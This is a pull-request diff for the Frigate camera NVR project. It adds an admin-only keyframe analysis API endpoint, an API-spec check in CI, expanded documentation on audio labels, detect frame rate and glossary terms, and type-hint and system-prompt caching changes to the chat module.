Merge b75346aef4 into 32e433cafc

* allow GenAI providers to be initialized even if they failed on previous attempts

* mypy

.github/workflows/pull_request.yml

@@ -125,5 +125,7 @@ jobs:
         run: devcontainer up --workspace-folder .
       - name: Run mypy in devcontainer
         run: devcontainer exec --workspace-folder . bash -lc "python3 -u -m mypy --config-file frigate/mypy.ini frigate"
+      - name: Check API spec is up to date
+        run: devcontainer exec --workspace-folder . bash -lc "python3 generate_api_auth_spec.py --check"
       - name: Run unit tests in devcontainer
         run: devcontainer exec --workspace-folder . bash -lc "python3 -u -m unittest"

AGENTS.md

@@ -235,6 +235,14 @@ ruff check frigate/
 
 # Type check
 python3 -u -m mypy --config-file frigate/mypy.ini frigate
+
+# Regenerate the OpenAPI spec after adding, changing, or removing an API
+# endpoint or its auth dependency — outputs docs/static/frigate-api.yaml,
+# annotated with each endpoint's auth requirement (admin / any / camera /
+# public). NEVER edit that file by hand. CI runs the --check variant and fails
+# if it is out of date. (from repo root)
+python3 generate_api_auth_spec.py
+python3 generate_api_auth_spec.py --check
 ```
 
 ### Frontend (from web/ directory)
@@ -316,6 +324,8 @@ async def get_events(request: Request, limit: int = 100):
     # Implementation
 ```
 
+After adding, changing, or removing an endpoint (or its auth dependency), regenerate the OpenAPI spec with `python3 generate_api_auth_spec.py` so `docs/static/frigate-api.yaml` stays in sync and the endpoint's auth requirement is documented. CI enforces this via the `--check` variant; never edit that file by hand.
+
 ### Configuration Access
 
 ```python

docs/docs/configuration/advanced/reference.md

@@ -212,7 +212,6 @@ audio:
   listen:
     - bark
     - fire_alarm
-    - scream
     - speech
     - yell
   # Optional: Filters to configure detection.

docs/docs/configuration/audio_detectors.md

@@ -88,7 +88,7 @@ Volume is considered motion for recordings, this means when the `record -> retai
 
 ### Configuring Audio Events
 
-The included audio model has over [500 different types](https://github.com/blakeblackshear/frigate/blob/dev/audio-labelmap.txt) of audio that can be detected, many of which are not practical. By default `bark`, `fire_alarm`, `scream`, `speech`, and `yell` are enabled but these can be customized.
+The included audio model has over [500 different types](https://github.com/blakeblackshear/frigate/blob/dev/audio-labelmap.txt) of audio that can be detected, many of which are not practical. By default `bark`, `fire_alarm`, `speech`, and `yell` are enabled but these can be customized.
 
 <ConfigTabs>
 <TabItem value="ui">
@@ -107,7 +107,6 @@ audio:
   listen:
     - bark
     - fire_alarm
-    - scream
     - speech
     - yell
 ```
@@ -115,6 +114,70 @@ audio:
 </TabItem>
 </ConfigTabs>
 
+### Common Audio Labels
+
+The labelmap includes hundreds of sound types. The labels below are the ones most users may find practical, grouped by what they're typically used for. Use the exact label string from the left column in your `listen` config, or search for the label in the Frigate UI directly.
+
+Some labels cover several related sounds: `yell` is triggered by shouting, yelling, children shouting, and screaming; `crying` covers baby cries, sobbing, and whimpering; and `speech` covers ordinary talking and conversation.
+
+**Safety and security**
+
+| Label            | Detects                            |
+| ---------------- | ---------------------------------- |
+| `yell`           | Shouting, yelling, screaming       |
+| `fire_alarm`     | Fire and smoke alarm sirens        |
+| `smoke_detector` | Smoke detector beeps               |
+| `alarm`          | General alarm sounds               |
+| `car_alarm`      | Car alarms                         |
+| `siren`          | Emergency vehicle and civil sirens |
+| `glass`          | Glass clinking                     |
+| `shatter`        | Breaking glass                     |
+| `breaking`       | Something breaking                 |
+| `gunshot`        | Gunshots                           |
+| `explosion`      | Explosions                         |
+
+**People and activity**
+
+| Label       | Detects                  |
+| ----------- | ------------------------ |
+| `speech`    | Talking and conversation |
+| `laughter`  | Laughing                 |
+| `crying`    | Baby crying and sobbing  |
+| `cough`     | Coughing                 |
+| `footsteps` | Footsteps and walking    |
+| `knock`     | Knocking on a door       |
+| `doorbell`  | Doorbell                 |
+| `ding-dong` | Doorbell chime           |
+
+**Pets and animals**
+
+| Label      | Detects          |
+| ---------- | ---------------- |
+| `bark`     | Dog barking      |
+| `dog`      | Other dog sounds |
+| `howl`     | Howling          |
+| `growling` | Growling         |
+| `meow`     | Cat meowing      |
+| `cat`      | Other cat sounds |
+| `hiss`     | Hissing          |
+
+**Vehicles and driveway**
+
+| Label             | Detects              |
+| ----------------- | -------------------- |
+| `car`             | Passing cars         |
+| `honk`            | Car horns            |
+| `truck`           | Trucks               |
+| `reversing_beeps` | Vehicle backup beeps |
+| `motorcycle`      | Motorcycles          |
+| `engine_starting` | Engines starting     |
+
+:::tip
+
+Frequently-heard labels like `speech` can generate a lot of events, and each event could save a snapshot and recording based on your configuration, so start with a focused set — the defaults (`bark`, `fire_alarm`, `speech`, `yell`) plus a few of the safety labels above cover most needs — and expand from there. See the [full audio labelmap](https://github.com/blakeblackshear/frigate/blob/dev/audio-labelmap.txt) or the Frigate UI for every available type.
+
+:::
+
 ### Audio Transcription
 
 Frigate supports fully local audio transcription using either `sherpa-onnx` or OpenAI's open-source Whisper models via `faster-whisper`. The goal of this feature is to support Semantic Search for `speech` audio events. Frigate is not intended to act as a continuous, fully-automatic speech transcription service — automatically transcribing all speech (or queuing many audio events for transcription) requires substantial CPU (or GPU) resources and is impractical on most systems. For this reason, transcriptions for events are initiated manually from the UI or the API rather than being run continuously in the background.

docs/docs/frigate/camera_setup.md

@@ -5,7 +5,7 @@ title: Camera setup
 
 Cameras configured to output H.264 video and AAC audio will offer the most compatibility with all features of Frigate and Home Assistant. H.265 has better compression, but less compatibility. Firefox 134+/136+/137+ (Windows/Mac/Linux & Android), Chrome 108+, Safari and Edge are the only browsers able to play H.265 and only support a limited number of H.265 profiles. Ideally, cameras should be configured directly for the desired resolutions and frame rates you want to use in Frigate. Reducing frame rates within Frigate will waste CPU resources decoding extra frames that are discarded. There are three different goals that you want to tune your stream configurations around.
 
-- **Detection**: This is the only stream that Frigate will decode for processing. Also, this is the stream where snapshots will be generated from. The resolution for detection should be tuned for the size of the objects you want to detect. See [Choosing a detect resolution](#choosing-a-detect-resolution) for more details. The recommended frame rate is 5fps, but may need to be higher (10fps is the recommended maximum for most users) for very fast moving objects. Higher resolutions and frame rates will drive higher CPU usage on your server.
+- **Detection**: This is the only stream that Frigate will decode for processing. Also, this is the stream where snapshots will be generated from. The resolution for detection should be tuned for the size of the objects you want to detect. See [Choosing a detect resolution](#choosing-a-detect-resolution) for more details. The default frame rate of 5fps is correct for almost all cameras and rarely needs to be changed; see [Choosing a detect frame rate](#choosing-a-detect-frame-rate). Higher resolutions and frame rates will drive higher CPU usage on your server.
 
 - **Recording**: This stream should be the resolution you wish to store for reference. Typically, this will be the highest resolution your camera supports. I recommend setting this feed in your camera's firmware to 15 fps.
 
@@ -25,6 +25,44 @@ Larger resolutions **do** improve performance if the objects are very small in t
 
 ![Resolutions](/img/resolutions-min.jpg)
 
+### Choosing a detect frame rate
+
+`detect.fps` controls how many times per second Frigate runs object detection — it does **not** need to match your camera's frame rate. The default of **5** is correct for the vast majority of cameras.
+
+:::warning
+
+Most users who raise `detect.fps` above the default don't need to. Increasing it consumes more CPU/GPU (detection load scales directly with the frame rate) while providing **no benefit to tracking** once objects are already being followed smoothly. Leave it at **5** unless you have a specific scene that fails the test below, and confirm any change actually helps in the debug view.
+
+:::
+
+#### Why 5 is enough for almost everyone
+
+Frigate follows an object by matching its bounding box from one detection frame to the next, which requires the object to be detected often enough while it is on screen. At 5 fps this is satisfied in normal scenes: an object crossing a yard, porch, driveway, or walkway is in view for several seconds and produces ~15 or more detections, which is more than enough for a reliable track and a good snapshot. This includes fast subjects such as a running person or a bolting pet, which on a wide-angle view remain on screen for several seconds.
+
+A higher rate helps only when an object crosses the **entire frame in less than two seconds**, which is determined by camera framing rather than object speed - for example, a camera aimed down a street at fast cross-traffic. In those scenes 5 fps may produce too few detections to hold a track. Cameras covering normal approaches and open areas are unaffected.
+
+#### Checking whether a higher rate is needed
+
+Estimate how long an object is visible as it crosses the area of interest, aiming for roughly 8–10 detections during the pass:
+
+> **`detect.fps` ≈ 10 ÷ (seconds the object is in view)**
+
+Most objects — people walking or running, pets, and vehicles in a yard, driveway, or walkway — stay in view for two seconds or more, so the default of 5 fps is correct. Slowly try raising it to 10 (the recommended maximum) in increments only when objects routinely cross the entire frame in about a second, such as a camera aimed at a street or sidewalk with fast cross-traffic. Objects that transit in under a second cannot be tracked reliably at any practical rate, so reposition the camera instead.
+
+:::tip
+
+If the formula calls for more than 10, the fix is **camera placement, not frame rate**. Angle the camera so objects move toward it rather than across the view, or aim it where traffic slows. A higher `detect.fps` increases CPU load proportionally without producing more detections of a too-brief object.
+
+:::
+
+#### Verify in the debug view
+
+Confirm any change in the Debug view or Debug Replay. Watch a typical object cross the scene: if its bounding box follows it smoothly while visible, the rate is sufficient. A box that jumps erratically, drops out, or splits one object into multiple events indicates the rate should be increased one step.
+
+#### Dedicated LPR cameras
+
+A dedicated license plate recognition camera is the most common reason to use something higher than 5 fps: the camera is highly zoomed, the plate is small, and it moves at full vehicle speed, so it transits the frame quickly. However, the same ceiling applies: above 10 fps is unnecessary, and **placement matters most**: aim LPR cameras where vehicles slow down, such as gates, driveways, and parking entrances. A tight view of a fast through-road will not likely read plates reliably at any frame rate. See [License Plate Recognition](/configuration/license_plate_recognition) for details.
+
 ### Example Camera Configuration
 
 For the Dahua/Loryta 5442 camera, I use the following settings:

docs/docs/frigate/glossary.md

@@ -5,20 +5,40 @@ title: Glossary
 
 The glossary explains terms commonly used in Frigate's documentation.
 
+## Alert
+
+The higher-priority of the two [review item](#review-item) severities, the other being a [detection](#detection). By default a review item is an alert when it involves a `person` or `car`; the qualifying [labels](#label) and [zones](#zone) can be configured. [See the review docs for more info](/configuration/review)
+
+## Attribute
+
+A property detected on an [object](#object) that exists alongside its [label](#label). Unlike a [sub label](#sub-label), an object can carry several attributes at once. Some attributes come directly from the object detection [model](#model) — for example `face`, `license_plate`, or delivery carrier logos such as `amazon`, `ups`, and `fedex` — while others come from a [custom object classification model](/configuration/custom_classification/object_classification) configured with the `attribute` type. Attributes are visible in the Tracked Object Details pane in Explore, in `frigate/events` MQTT messages, and through the HTTP API.
+
 ## Bounding Box
 
-A box returned from the object detection model that outlines an object in the frame. These have multiple colors depending on object type in the debug live view.
+A box returned by the object detection [model](#model) that outlines a detected [object](#object) in the frame. In the Debug view, bounding boxes are colored by object [label](#label).
 
 ### Bounding Box Colors
 
 - At startup different colors will be assigned to each object label
 - A dark blue thin line indicates that object is not detected at this current point in time
 - A gray thin line indicates that object is detected as being stationary
-- A thick line indicates that object is the subject of autotracking (when enabled).
+- A thick line indicates that object is the subject of autotracking (when enabled)
+
+## Class
+
+The categories a classification [model](#model) is trained to distinguish between. Each class is a distinct visual category the model predicts, plus a `none` class for inputs that don't fit any category. For example, a custom object classification model for `person` objects might use the classes `delivery_person`, `resident`, and `none`. The predicted class is applied to the [object](#object) as either a [sub label](#sub-label) or an [attribute](#attribute), depending on the model's configuration. [See the object classification docs for more info](/configuration/custom_classification/object_classification)
+
+## Detection
+
+The lower-priority of the two [review item](#review-item) severities, the other being an [alert](#alert). By default, any review item that does not qualify as an alert is a detection; the qualifying [labels](#label) and [zones](#zone) can be configured. Despite the name, a detection is a category of review item — not the same as the object detection performed by the [model](#model). [See the review docs for more info](/configuration/review)
 
 ## False Positive
 
-An incorrect detection of an object type. For example a dog being detected as a person, a chair being detected as a dog, etc. A person being detected in an area you want to ignore is not a false positive.
+An incorrect result from the object detection [model](#model), where it assigns the wrong [label](#label) to something in the frame — for example a dog identified as a person, or a chair identified as a dog. A person correctly identified in an area you want to ignore is not a false positive.
+
+## Label
+
+The type assigned to a detected [object](#object) by the object detection [model](#model), drawn from the model's labelmap — for example `person`, `car`, or `dog`. Frigate tracks `person` by default; additional labels are tracked by adding them to the objects configuration. [See the available objects docs for the full list](/configuration/objects)
 
 ## Mask
 
@@ -26,44 +46,56 @@ There are two types of masks in Frigate. [See the mask docs for more info](/conf
 
 ### Motion Mask
 
-Motion masks prevent detection of [motion](#motion) in masked areas from triggering Frigate to run object detection, but do not prevent objects from being detected if object detection runs due to motion in nearby areas. For example: camera timestamps, skies, the tops of trees, etc.
+A motion mask stops [motion](#motion) in the masked area from triggering object detection. It does not stop an object from being detected when object detection runs because of motion in a nearby area. Use motion masks for parts of the frame that change constantly but never contain objects you care about — camera timestamps, the sky, the tops of trees, and so on.
 
 ### Object Mask
 
-Object filter masks drop any bounding boxes where the bottom center (overlap doesn't matter) is in the masked area. It forces them to be considered a [false positive](#false-positive) so that they are ignored.
+An object filter mask drops any [bounding box](#bounding-box) whose bottom center falls inside the masked area (overlap elsewhere doesn't matter). The object is forced to be treated as a [false positive](#false-positive) and ignored.
 
 ## Min Score
 
-The lowest score that an object can be detected with during tracking, any detection with a lower score will be assumed to be a false positive
+The lowest score a detected object can have to be kept during tracking. Anything scoring below the minimum is assumed to be a [false positive](#false-positive) and discarded.
+
+## Model
+
+A machine learning model that Frigate uses to detect or classify objects. The object detection model locates [objects](#object) in each frame and returns their [labels](#label) and [bounding boxes](#bounding-box). Additional enrichment models run on tracked objects to add detail: face recognition, license plate recognition, bird classification, custom object and state classification, and the embedding models used for semantic search. [See the object detectors docs for more info](/configuration/object_detectors)
 
 ## Motion
 
-When pixels in the current camera frame are different than previous frames. When many nearby pixels are different in the current frame they grouped together and indicated with a red motion box in the live debug view. [See the motion detection docs for more info](/configuration/motion_detection)
+A change in pixels between the current camera frame and previous frames. When many nearby pixels change together, they are grouped and shown as a red motion box in the debug live view. [See the motion detection docs for more info](/configuration/motion_detection)
+
+## Object
+
+Something Frigate can detect and follow in a camera frame, identified by its [label](#label) (for example a person or a car). The object types Frigate watches for are set in the `objects` configuration. Once an object is detected and followed across frames it becomes a [tracked object](#tracked-object-event-in-previous-versions), which may also carry a [sub label](#sub-label) and [attributes](#attribute). [See the available objects docs for more info](/configuration/objects)
 
 ## Region
 
-A portion of the camera frame that is sent to object detection, regions can be sent due to motion, active objects, or occasionally for stationary objects. These are represented by green boxes in the debug live view.
+A portion of the camera frame sent to the object detection [model](#model). Regions are selected because of [motion](#motion), active objects, or occasionally to recheck stationary objects, and are shown as green boxes in the debug live view.
 
 ## Review Item
 
-A review item is a time period where any number of events/tracked objects were active. [See the review docs for more info](/configuration/review)
+A period of time during which one or more [tracked objects](#tracked-object-event-in-previous-versions) were active, grouped together for review. Each review item is categorized as either an [alert](#alert) or a [detection](#detection). [See the review docs for more info](/configuration/review)
 
 ## Snapshot Score
 
-The score shown in a snapshot is the score of that object at that specific moment in time.
+The object's score at the specific moment the snapshot was captured.
+
+## Sub Label
+
+A more specific identity assigned to a [tracked object](#tracked-object-event-in-previous-versions) in addition to its [label](#label). A `person` may get the name of a recognized face, a `car` may get the name of a known license plate, and a `bird` may get its species. An object can have only one sub label at a time. Sub labels are produced by face recognition, license plate recognition, bird classification, custom object classification configured with the `sub label` type, and semantic search triggers.
 
 ## Threshold
 
-The threshold is the median score that an object must reach in order to be considered a true positive.
+The median score an object must reach to be considered a true positive.
 
 ## Top Score
 
-The top score for an object is the highest median score for an object.
+The highest median score an object reached over its lifetime.
 
 ## Tracked Object ("event" in previous versions)
 
-The time period starting when a tracked object entered the frame and ending when it left the frame, including any time that the object remained still. Tracked objects are saved when it is considered a [true positive](#threshold) and meets the requirements for a snapshot or recording to be saved.
+An [object](#object) followed from the moment it enters the frame until it leaves, including any time it stays still. A tracked object is saved once it is considered a [true positive](#threshold) and meets the requirements for a snapshot or recording.
 
 ## Zone
 
-Zones are areas of interest, zones can be used for notifications and for limiting the areas where Frigate will create a [review item](#review-item). [See the zone docs for more info](/configuration/zones)
+A user-defined area of interest within the camera frame. Zones can be used for notifications and to limit where Frigate creates a [review item](#review-item). [See the zone docs for more info](/configuration/zones)

docs/docs/troubleshooting/recordings.md

@@ -121,6 +121,12 @@ If segments are only ~1 second instead of ~10 seconds, the camera is sending cor
 - **Changing codec, bitrate, or resolution mid-stream** — Any encoding changes during an active stream can cause unpredictable segment splitting.
 - **Camera firmware bugs** — Check for firmware updates from your camera manufacturer.
 
+:::tip
+
+You don't have to run `ffprobe` by hand to catch this. Open a camera's **Camera Probe Info** dialog (the info icon on the System → Metrics → Cameras page) and check the **Keyframe analysis** section. It probes the record stream and flags sparse or variable keyframes, which is what smart/"+" codecs (H.264+/H.265+) and long keyframe intervals produce.
+
+:::
+
 ### Step 4: Check for a stuck detector
 
 If the detect stream is not processing frames, segments will accumulate. Common causes:

frigate/api/camera.py

@@ -34,11 +34,15 @@ from frigate.config.camera.updater import (
 )
 from frigate.config.env import substitute_frigate_vars
 from frigate.models import User
-from frigate.util.builtin import clean_camera_user_pass
+from frigate.util.builtin import clean_camera_user_pass, get_record_segment_time
 from frigate.util.camera_cleanup import cleanup_camera_db, cleanup_camera_files
 from frigate.util.config import find_config_file
 from frigate.util.image import run_ffmpeg_snapshot
-from frigate.util.services import ffprobe_stream, is_restricted_go2rtc_source
+from frigate.util.services import (
+    analyze_record_keyframes,
+    ffprobe_stream,
+    is_restricted_go2rtc_source,
+)
 
 logger = logging.getLogger(__name__)
 
@@ -362,6 +366,48 @@ def ffprobe(request: Request, paths: str = "", detailed: bool = False):
     return JSONResponse(content=output)
 
 
+@router.get("/keyframe_analysis", dependencies=[Depends(require_role(["admin"]))])
+async def keyframe_analysis(request: Request, camera: str = ""):
+    """Probe a camera's record stream and classify its keyframe spacing.
+
+    Detects smart/+ codecs and long/variable GOPs that degrade recording.
+    """
+    config: FrigateConfig = request.app.frigate_config
+
+    if camera not in config.cameras:
+        return JSONResponse(
+            content={"success": False, "message": f"{camera} is not a valid camera."},
+            status_code=404,
+        )
+
+    camera_config = config.cameras[camera]
+
+    if not camera_config.enabled:
+        return JSONResponse(
+            content={"success": False, "message": f"{camera} is not enabled."},
+            status_code=404,
+        )
+
+    # keyframe spacing only matters when this camera is recording
+    if not camera_config.record.enabled:
+        return JSONResponse(content={"severity": "record_disabled"})
+
+    # recording guarantees an input carries the record role; its index matches
+    # the "Stream N" numbering the ffprobe endpoint surfaces (same input order)
+    record_index, record_input = next(
+        (idx, i)
+        for idx, i in enumerate(camera_config.ffmpeg.inputs)
+        if "record" in i.roles
+    )
+
+    segment_time = get_record_segment_time(camera_config)
+    result = await analyze_record_keyframes(
+        config.ffmpeg, record_input.path, segment_time
+    )
+    result["stream_index"] = record_index
+    return JSONResponse(content=result)
+
+
 @router.get("/ffprobe/snapshot", dependencies=[Depends(require_role(["admin"]))])
 def ffprobe_snapshot(request: Request, url: str = "", timeout: int = 10):
     """Get a snapshot from a stream URL using ffmpeg."""

frigate/api/chat.py

@@ -7,7 +7,7 @@ import operator
 import time
 from datetime import datetime
 from functools import reduce
-from typing import Any, Dict, List, Optional
+from typing import Any, Optional
 
 import cv2
 from fastapi import APIRouter, Body, Depends, HTTPException, Request
@@ -59,7 +59,7 @@ class ToolExecuteRequest(BaseModel):
     """Request model for tool execution."""
 
     tool_name: str
-    arguments: Dict[str, Any]
+    arguments: dict[str, Any]
 
 
 class VLMMonitorRequest(BaseModel):
@@ -68,8 +68,8 @@ class VLMMonitorRequest(BaseModel):
     camera: str
     condition: str
     max_duration_minutes: int = 60
-    labels: List[str] = []
-    zones: List[str] = []
+    labels: list[str] = []
+    zones: list[str] = []
 
 
 @router.get(
@@ -91,10 +91,10 @@ def get_tools(request: Request) -> JSONResponse:
 
 
 def _resolve_zones(
-    zones: List[str],
+    zones: list[str],
     config: FrigateConfig,
-    target_cameras: List[str],
-) -> List[str]:
+    target_cameras: list[str],
+) -> list[str]:
     """Map zone names to their canonical config keys, case-insensitively.
 
     LLMs frequently echo a user's casing ("Front Yard") instead of the
@@ -107,7 +107,7 @@ def _resolve_zones(
     if not zones:
         return zones
 
-    lookup: Dict[str, str] = {}
+    lookup: dict[str, str] = {}
     for camera_id in target_cameras:
         camera_config = config.cameras.get(camera_id)
         if camera_config is None:
@@ -120,8 +120,8 @@ def _resolve_zones(
 
 async def _execute_search_objects(
     request: Request,
-    arguments: Dict[str, Any],
-    allowed_cameras: List[str],
+    arguments: dict[str, Any],
+    allowed_cameras: list[str],
 ) -> JSONResponse:
     """
     Execute the search_objects tool.
@@ -213,8 +213,8 @@ async def _execute_search_objects(
 
 async def _execute_search_objects_semantic(
     request: Request,
-    arguments: Dict[str, Any],
-    allowed_cameras: List[str],
+    arguments: dict[str, Any],
+    allowed_cameras: list[str],
     semantic_query: str,
 ) -> JSONResponse:
     """Search objects via fused thumbnail + description embeddings.
@@ -263,8 +263,8 @@ async def _execute_search_objects_semantic(
     limit = int(arguments.get("limit", 25))
     limit = max(1, min(limit, 100))
 
-    visual_distances: Dict[str, float] = {}
-    description_distances: Dict[str, float] = {}
+    visual_distances: dict[str, float] = {}
+    description_distances: dict[str, float] = {}
     try:
         rows = context.search_thumbnail(semantic_query)
         visual_distances = {row[0]: row[1] for row in rows}
@@ -305,7 +305,7 @@ async def _execute_search_objects_semantic(
 
     eligible = {e.id: e for e in Event.select().where(reduce(operator.and_, clauses))}
 
-    scored: List[tuple[str, float]] = []
+    scored: list[tuple[str, float]] = []
     for eid in eligible:
         v_score = (
             distance_to_score(visual_distances[eid], context.thumb_stats)
@@ -331,9 +331,9 @@ async def _execute_search_objects_semantic(
 
 async def _execute_find_similar_objects(
     request: Request,
-    arguments: Dict[str, Any],
-    allowed_cameras: List[str],
-) -> Dict[str, Any]:
+    arguments: dict[str, Any],
+    allowed_cameras: list[str],
+) -> dict[str, Any]:
     """Execute the find_similar_objects tool.
 
     Returns a plain dict (not JSONResponse) so the chat loop can embed it
@@ -403,8 +403,8 @@ async def _execute_find_similar_objects(
     # version (see frigate/embeddings/__init__.py). Mirror the pattern used by
     # frigate/api/event.py events_search: fetch top-k globally, then intersect
     # with the structured filters via Peewee.
-    visual_distances: Dict[str, float] = {}
-    description_distances: Dict[str, float] = {}
+    visual_distances: dict[str, float] = {}
+    description_distances: dict[str, float] = {}
 
     try:
         if similarity_mode in ("visual", "fused"):
@@ -462,7 +462,7 @@ async def _execute_find_similar_objects(
     eligible = {e.id: e for e in Event.select().where(reduce(operator.and_, clauses))}
 
     # 6. Fuse and rank.
-    scored: List[tuple[str, float]] = []
+    scored: list[tuple[str, float]] = []
     for eid in eligible:
         v_score = (
             distance_to_score(visual_distances[eid], context.thumb_stats)
@@ -503,7 +503,7 @@ async def _execute_find_similar_objects(
 async def execute_tool(
     request: Request,
     body: ToolExecuteRequest = Body(...),
-    allowed_cameras: List[str] = Depends(get_allowed_cameras_for_filter),
+    allowed_cameras: list[str] = Depends(get_allowed_cameras_for_filter),
 ) -> JSONResponse:
     """
     Execute a tool function call.
@@ -545,8 +545,8 @@ async def execute_tool(
 async def _execute_get_live_context(
     request: Request,
     camera: str,
-    allowed_cameras: List[str],
-) -> Dict[str, Any]:
+    allowed_cameras: list[str],
+) -> dict[str, Any]:
     # Reject wildcards explicitly so models retry with a real camera name
     # instead of silently fanning out across every camera.
     if camera in ("*", "all"):
@@ -593,7 +593,7 @@ async def _execute_get_live_context(
                     "stationary": obj_dict.get("stationary", False),
                 }
 
-        result: Dict[str, Any] = {
+        result: dict[str, Any] = {
             "camera": camera,
             "timestamp": frame_time,
             "detections": list(tracked_objects_dict.values()),
@@ -620,7 +620,7 @@ async def _execute_get_live_context(
 async def _get_live_frame_image_url(
     request: Request,
     camera: str,
-    allowed_cameras: List[str],
+    allowed_cameras: list[str],
 ) -> Optional[str]:
     """
     Fetch the current live frame for a camera as a base64 data URL.
@@ -659,8 +659,8 @@ async def _get_live_frame_image_url(
 
 async def _execute_set_camera_state(
     request: Request,
-    arguments: Dict[str, Any],
-) -> Dict[str, Any]:
+    arguments: dict[str, Any],
+) -> dict[str, Any]:
     role = request.headers.get("remote-role", "")
     if "admin" not in [r.strip() for r in role.split(",")]:
         return {"error": "Admin privileges required to change camera settings."}
@@ -699,10 +699,10 @@ async def _execute_set_camera_state(
 
 async def _execute_tool_internal(
     tool_name: str,
-    arguments: Dict[str, Any],
+    arguments: dict[str, Any],
     request: Request,
-    allowed_cameras: List[str],
-) -> Dict[str, Any]:
+    allowed_cameras: list[str],
+) -> dict[str, Any]:
     """
     Internal helper to execute a tool and return the result as a dict.
 
@@ -763,8 +763,8 @@ async def _execute_tool_internal(
 
 async def _execute_start_camera_watch(
     request: Request,
-    arguments: Dict[str, Any],
-) -> Dict[str, Any]:
+    arguments: dict[str, Any],
+) -> dict[str, Any]:
     camera = arguments.get("camera", "").strip()
     condition = arguments.get("condition", "").strip()
     max_duration_minutes = int(arguments.get("max_duration_minutes", 60))
@@ -814,14 +814,14 @@ async def _execute_start_camera_watch(
     }
 
 
-def _execute_stop_camera_watch() -> Dict[str, Any]:
+def _execute_stop_camera_watch() -> dict[str, Any]:
     cancelled = stop_vlm_watch_job()
     if cancelled:
         return {"success": True, "message": "Watch job cancelled."}
     return {"success": False, "message": "No active watch job to cancel."}
 
 
-def _execute_get_profile_status(request: Request) -> Dict[str, Any]:
+def _execute_get_profile_status(request: Request) -> dict[str, Any]:
     """Return profile status including active profile and activation timestamps."""
     profile_manager = getattr(request.app, "profile_manager", None)
     if profile_manager is None:
@@ -846,9 +846,9 @@ def _execute_get_profile_status(request: Request) -> Dict[str, Any]:
 
 
 def _execute_get_recap(
-    arguments: Dict[str, Any],
-    allowed_cameras: List[str],
-) -> Dict[str, Any]:
+    arguments: dict[str, Any],
+    allowed_cameras: list[str],
+) -> dict[str, Any]:
     """Fetch review segments with GenAI metadata for a time period."""
     from functools import reduce
 
@@ -909,7 +909,7 @@ def _execute_get_recap(
             .iterator()
         )
 
-        events: List[Dict[str, Any]] = []
+        events: list[dict[str, Any]] = []
 
         for row in rows:
             data = row.get("data") or {}
@@ -920,7 +920,7 @@ def _execute_get_recap(
                     data = {}
 
             camera = row["camera"]
-            event: Dict[str, Any] = {
+            event: dict[str, Any] = {
                 "camera": camera.replace("_", " ").title(),
                 "severity": row.get("severity", "detection"),
             }
@@ -984,10 +984,10 @@ def _execute_get_recap(
 
 
 async def _execute_pending_tools(
-    pending_tool_calls: List[Dict[str, Any]],
+    pending_tool_calls: list[dict[str, Any]],
     request: Request,
-    allowed_cameras: List[str],
-) -> tuple[List[ToolCall], List[Dict[str, Any]], List[Dict[str, Any]]]:
+    allowed_cameras: list[str],
+) -> tuple[list[ToolCall], list[dict[str, Any]], list[dict[str, Any]]]:
     """
     Execute a list of tool calls.
 
@@ -996,9 +996,9 @@ async def _execute_pending_tools(
          tool result dicts for conversation,
          extra messages to inject after tool results — e.g. user messages with images)
     """
-    tool_calls_out: List[ToolCall] = []
-    tool_results: List[Dict[str, Any]] = []
-    extra_messages: List[Dict[str, Any]] = []
+    tool_calls_out: list[ToolCall] = []
+    tool_results: list[dict[str, Any]] = []
+    extra_messages: list[dict[str, Any]] = []
     for tool_call in pending_tool_calls:
         tool_name = tool_call["name"]
         tool_args = tool_call.get("arguments") or {}
@@ -1106,7 +1106,7 @@ async def _execute_pending_tools(
 async def chat_completion(
     request: Request,
     body: ChatCompletionRequest = Body(...),
-    allowed_cameras: List[str] = Depends(get_allowed_cameras_for_filter),
+    allowed_cameras: list[str] = Depends(get_allowed_cameras_for_filter),
 ):
     """
     Chat completion endpoint with tool calling support.
@@ -1138,19 +1138,23 @@ async def chat_completion(
     )
     conversation = []
 
-    system_prompt = build_chat_system_prompt(
-        config=config,
-        allowed_cameras=allowed_cameras,
-        semantic_search_enabled=semantic_search_enabled,
-        attribute_classifications=attribute_classifications,
-    )
-
-    conversation.append(
-        {
-            "role": "system",
-            "content": system_prompt,
-        }
-    )
+    # Build the system message only when the client hasn't already pinned one.
+    # The first turn has no system message; we generate it (with the current
+    # timestamp) and return the whole chain so the client persists it. Later
+    # turns send it back verbatim, freezing the timestamp so the prompt prefix
+    # stays byte-identical and the model server's prompt cache keeps hitting.
+    if not body.messages or body.messages[0].role != "system":
+        conversation.append(
+            {
+                "role": "system",
+                "content": build_chat_system_prompt(
+                    config=config,
+                    allowed_cameras=allowed_cameras,
+                    semantic_search_enabled=semantic_search_enabled,
+                    attribute_classifications=attribute_classifications,
+                ),
+            }
+        )
 
     for msg in body.messages:
         msg_dict = {
@@ -1161,11 +1165,13 @@ async def chat_completion(
             msg_dict["tool_call_id"] = msg.tool_call_id
         if msg.name:
             msg_dict["name"] = msg.name
+        if msg.tool_calls is not None:
+            msg_dict["tool_calls"] = msg.tool_calls
 
         conversation.append(msg_dict)
 
     tool_iterations = 0
-    tool_calls: List[ToolCall] = []
+    tool_calls: list[ToolCall] = []
     max_iterations = body.max_tool_iterations
 
     logger.debug(
@@ -1175,11 +1181,20 @@ async def chat_completion(
 
     # True LLM streaming when client supports it and stream requested
     if body.stream and hasattr(genai_client, "chat_with_tools_stream"):
-        stream_tool_calls: List[ToolCall] = []
         stream_iterations = 0
 
         async def stream_body_llm():
-            nonlocal conversation, stream_tool_calls, stream_iterations
+            nonlocal conversation, stream_iterations
+
+            def _emit_chain(extra: Optional[list[dict[str, Any]]] = None):
+                # Return the full conversation (including the system message) so
+                # the client persists and replays it verbatim next turn.
+                chain = conversation + (extra or [])
+                return (
+                    json.dumps({"type": "messages", "messages": chain}).encode("utf-8")
+                    + b"\n"
+                )
+
             while stream_iterations < max_iterations:
                 if await request.is_disconnected():
                     logger.debug("Client disconnected, stopping chat stream")
@@ -1244,31 +1259,33 @@ async def chat_completion(
                                 )
                                 return
                             (
-                                executed_calls,
+                                _executed_calls,
                                 tool_results,
                                 extra_msgs,
                             ) = await _execute_pending_tools(
                                 pending, request, allowed_cameras
                             )
-                            stream_tool_calls.extend(executed_calls)
                             conversation.extend(tool_results)
                             conversation.extend(extra_msgs)
-                            yield (
-                                json.dumps(
-                                    {
-                                        "type": "tool_calls",
-                                        "tool_calls": [
-                                            tc.model_dump() for tc in stream_tool_calls
-                                        ],
-                                    }
-                                ).encode("utf-8")
-                                + b"\n"
-                            )
+                            # Emit the running chain so the client can render tool
